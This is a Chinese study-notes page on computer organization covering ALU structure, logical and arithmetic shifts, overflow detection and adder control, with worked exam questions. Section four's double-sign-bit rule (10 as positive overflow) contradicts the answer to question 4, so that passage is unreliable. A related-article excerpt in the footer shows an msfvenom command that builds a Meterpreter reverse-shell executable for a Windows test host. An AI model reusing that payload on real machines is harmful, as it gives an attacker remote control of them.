计算机组成原理——运算器ALU,移位操作

news2024/9/22 13:38:42

一、组合逻辑电路和时序逻辑电路

组合逻辑电路:其输出仅取决于当前输入组合,不依赖先前输出,不具备存储状态的能力

时序逻辑电路:其输出不仅取决于当前输入,还取决于先前的输出,具备存储状态的能力。

ALU作为运算器的核心部件,只有运算当前输入的能力,并没有存储的能力,所以属于组合逻辑电路。

二、运算器的组成

运算器是由ALU(算术逻辑单元),AC(累加器),状态寄存器,通用寄存器(如ACC,MQ,X)组成。

ALU的功能包括算数运算(+-*/)和逻辑运算(或与非)。

三、移位操作和原码乘法

移位分为逻辑移位和算术移位。

逻辑运算针对无符号数,分为逻辑左移和逻辑右移。算术运算针对有符号数,分为算术左移和算术右移。

逻辑左移:低位补0,高位移出。

逻辑右移:高位补0,低位移出。

算术左移:低位补0,高位移出。

算术右移:高位补符号位,低位移出。

算数左移是进行乘法运算,左移一位是*2。

算数右移是进行除法运算,右移一位是/2。

原码乘法:符号位和数值位分开算。

例如原码01011*11001。其中01011是正数,11001是负数,乘出的结果一定是负数,所以符号位不用参与运算。只运算1011*1001,也就是两个原码的绝对值相乘,最后把运算结果(此时没有符号)补上符号位1.

四、溢出判断

左移时有可能发生溢出。

第一种判断溢出方法:

先看不溢出的情况,设0001(补码)左移一位变成0010(补码),发现数值从1变成了2。再如1111(补码)左移一位1110(补码),发现数值从-1变到-2。所以在不溢出时,左移一位数值会变成原来的两倍 。

再看溢出的情况,设1000(补码)左移一位变成(0000),发现数值从-8变成0,不是原来的两倍。再设1010(补码)左移一位变成0100(补码),从-6变成4,也不是原来的两倍。

总结:发生溢出就是左移一位后的值不是原来的两倍,或者说左移后符号位发生了变化时一定发生溢出。也可以看前两位,若相同,则不溢出;若不同,则溢出。

第二种判断溢出方法:单符号位法(+-)

第一种判断溢出方法是对移位操作,第二种判断溢出方法是对算术加法或算术减法(+-)。

例如:1001和1010进行相加。在计算1001+1010的时候看最高位的进位和第二位的进位,发现第一位进位为1,第二位的进位为0。

然后对这两位进行异或操作。异或:相同为0,不同为1。

1和0的异或是1,所以发生溢出。

最后计算出结果0011进行验证,发现两个负数相加得出正数,发生了溢出。

第三种判断溢出方法:双符号位法(算术加法或算术减法)

例如:1001和1010进行相加。相加前在最高位补个符号位,变成11001和11010.

然后进行11001+11010=10011,发现两个符号位一个为1,一个为0,所以发生溢出。

此处符号位为10,这是正溢出;而如果是01,则是负溢出。

第四种判断溢出方法:转真值,运算(+-*/都可算)

把两个补码转成原码,然后看结果是否超出范围。

例如:8位补码a=F5H,b=EEH,分别计算a+b,a-b,a*b,a/b,若将结果放在一个8位寄存器中,判断那种计算会发生溢出

答案:a*b

补码:a=1111 0101,b=1110 1110。

原码:a=1000 1011,b=1001 0010。

真值:a=-11,b=-18

运算:a+b=-29,a-b=9,a*b=198,a/b=11/18

因为结果放在一个8位寄存器中,计算机中8位寄存器可表示的范围是-128-127(补码范围)

发现a*b=198超出这个范围,8位计算机表示不出来,所以肯定会溢出。

五、加法器

加法器不分有符号数和无符号数。

加法和减法的控制靠Sub信号,Sub如果是0,为加法;如果是1,为减法。

对两个数进行加法或减法时,一个数x直接进入加法器,而对于另外一个数y,会进行判断。

在y进入加法器前有一个选择器,这个选择器如果收到Sub=0,那么y直接进入加法器;这个选择器如果收到Sub=1,那么y进入加法器前需要进行一次全部取反的操作。

Cin(低位进位信息)=Sub

六、例题

1.补码定点整数01010101,左移两位后的值是(    )

答案:01010100

解析:补码(有符号数),所以左移代表算数左移。算术左移:低位补0,高位移出。左移一位10101010,左移两位,01010100。

2.下列4个补码整数算数左移不会溢出的是()

A.80H   

B.90H

C.B0H

D.C0H

答案:D

解析:首先写出ABCD的二进制数:

A.1000 0000

B.1001 0000

C.1011 0000

D.1100 0000

再写成算数左移一位的值:

A.0000 0000

B.0010 0000

C.0110 0000

D.1000 0000

根据溢出总结,左移后符号位改变的一定溢出,可知A,B,C一定溢出,所以选D。

D.1100 0000是-64,移位后1000 0000是-128 ,刚好是原来的两倍,所以不发生溢出。

3.补码定点整数1001 0101右移一位的值是( )

答案:1100 1010

解析:补码(有符号数)右移一位,高位补符号位,低位移出。1001 0101是一个负数,所以右移补1,右移一位变成1100 1010

4.用双符号位,两个正数相加会产生溢出,那么双符号位是()

A.00

B.01

C.10

D.11

答案:B

解析:两个正数相加且产生溢出,那么一定是正溢出,正溢出的符号位是01.

5.补码x0x1x2x3...xm,x0为符号位,x1为最高位数,若()当补码左移,会发生溢出

A.x0=x1

B.x0不等于x1

C.x1=0

D.x1=1

答案:B

解析:第四部分中第一种判断方法。

6.计算机字长为8位,CPU中有一个8位加法器,已知无符号数x=69,y=38,若在加法器中计算x-y,则加法器的两个输入端信息和输入的低位进位信息分别是()

A.0100 0101,0010 0110,0

B.0100 0101,1101 1001,1

C.0100 0101,1101 1010,0

D.0100 0101,1101 1010,1

答案:B

解析:x=69(10)=0100 0101(2);y=38(10)=0010 0110(2)

因为计算x-y,所以sub=1,x直接进入加法器,y需要全部取反为1101 1001

两个输入端信息:0100 0101(x)和1101 1001(-y)。低位进位信息:Cin=Sub=1.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972330.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多 NodeJS 环境管理

前言 对于某个项目依赖特定版本的 NodeJS,或几个项目的 NodeJS 版本冲突时,需要在系统中安装多个版本的 NodeJS,这时可以使用一些工具来进行多个 NodeJS 的管理。 有很多类似的 NodeJS 管理工具,如 nvm, nvs, n 等,接…

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期:2024年7月31日。 Github源码:[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一:资源打包步骤二:资源版本构建步骤三:资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展,我国面临着日益严重的大气污染问题。近年来,严重的大气污染问题已经明显影响国计民生,引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果,同时气象因…

嵌入式day17

尾插: 头删: 尾删: 双向链表: 循环链表: 内存泄漏(malloc 调用的节点需要手动清除) 清除: 头删效率更高,算法复杂度更低 共用体 共用体的成员,会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器,最高可运行在24MHz,内置32K/64K字节的嵌入式Flash,4K字节的SRAM,集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式:适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法,在⼯作中, 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后, 要对需求进⾏分析和验证,从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前,大家保存数据要么是在程序运行期间,例如:在学习编程语言的时候,大家写过的管理系统,运用一些简单的数据结构(例如顺序表)来组织数据,可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗? 图片来源:论文《PULSE:Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列,感兴趣的朋友可以添加关注,欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol,翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议,它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法: 每一列雨水的高度,取决于,该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度,即: min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一, 线程 1.1 进程 进程就是一个程序运行的标志,是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配(计算资源,比如CPU,存储:内存)的最小单…

Day5

BootStrap 这个玩意可以理解为,已经写好的css样式的封装。 在开发中,如果需要用到这个, 首先得下载下来 找到官网,Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5, 解压后,把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…

centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)

Day 16 centos7 中安装 mysql 8.x 1.下载安装包 [rootmysql~]#wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar [rootmysql ~]# ls anaconda-ks.cfg mys…

美业收银系统【客户管理】的重要作用|美业门店管理系统Java源码、系统演示

美业系统中的客户管理功能可以起到多种作用,包括但不限于以下几点: 1.客户档案管理: 记录客户的个人信息、偏好、消费记录等,便于了解客户需求,提供个性化的服务和推荐。 2.预约和排队管理: 帮助美业从…